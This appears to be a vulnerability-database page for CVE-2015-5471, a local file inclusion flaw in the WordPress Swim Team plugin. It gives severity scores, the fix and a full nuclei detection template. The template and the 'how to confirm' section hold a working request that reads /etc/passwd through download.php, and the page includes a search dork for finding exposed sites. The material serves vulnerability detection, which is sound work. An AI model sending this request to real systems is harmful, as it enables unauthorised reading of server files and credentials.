HexBrain

Browse / CVEs / CVE-2015-5471

CVE-2015-5471· swim team project / swim team· CWE-22

Swim Team <= v1.44.10777 - Local File Inclusion

mediumseverity
5.3CVSS score
32.5%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

The program /wp-swimteam/include/user/download.php allows unauthenticated attackers to retrieve arbitrary files from the system.

Impact

An attacker can exploit this vulnerability to read sensitive information from the server, such as database credentials, and potentially execute arbitrary code.

Fix

Upgrade to Swim Team version 1.45 or newer.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/wp-swimteam/include/user/download.php?file=/etc/passwd&filename=/etc/passwd&contenttype=text/html&transient=1&abspath=…
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2015-5471 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2015-5471

info:
  name: Swim Team <= v1.44.10777 - Local File Inclusion
  author: 0x_Akoko
  severity: medium
  description: The program /wp-swimteam/include/user/download.php allows unauthenticated attackers to retrieve arbitrary files from the system.
  impact: |
    An attacker can exploit this vulnerability to read sensitive information from the server, such as database credentials, and potentially execute arbitrary code.
  remediation: Upgrade to Swim Team version 1.45 or newer.
  reference:
    - https://wpscan.com/vulnerability/b00d9dda-721d-4204-8995-093f695c3568
    - http://www.vapid.dhs.org/advisory.php?v=134
    - https://nvd.nist.gov/vuln/detail/CVE-2015-5471
    - http://packetstormsecurity.com/files/132653/WordPress-WP-SwimTeam-1.44.10777-Arbitrary-File-Download.html
    - http://michaelwalsh.org/blog/2015/07/wp-swimteam-v1-45-beta-3-now-available/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2015-5471
    cwe-id: CWE-22
    epss-score: 0.32483
    epss-percentile: 0.98347
    cpe: cpe:2.3:a:swim_team_project:swim_team:1.44.10777:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: swim_team_project
    product: swim_team
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wp-swimteam"
  tags: cve2015,cve,wordpress,wp-plugin,lfi,wpscan,packetstorm,swim_team_project,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-swimteam/include/user/download.php?file=/etc/passwd&filename=/etc/passwd&contenttype=text/html&transient=1&abspath=/usr/share/wordpress"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from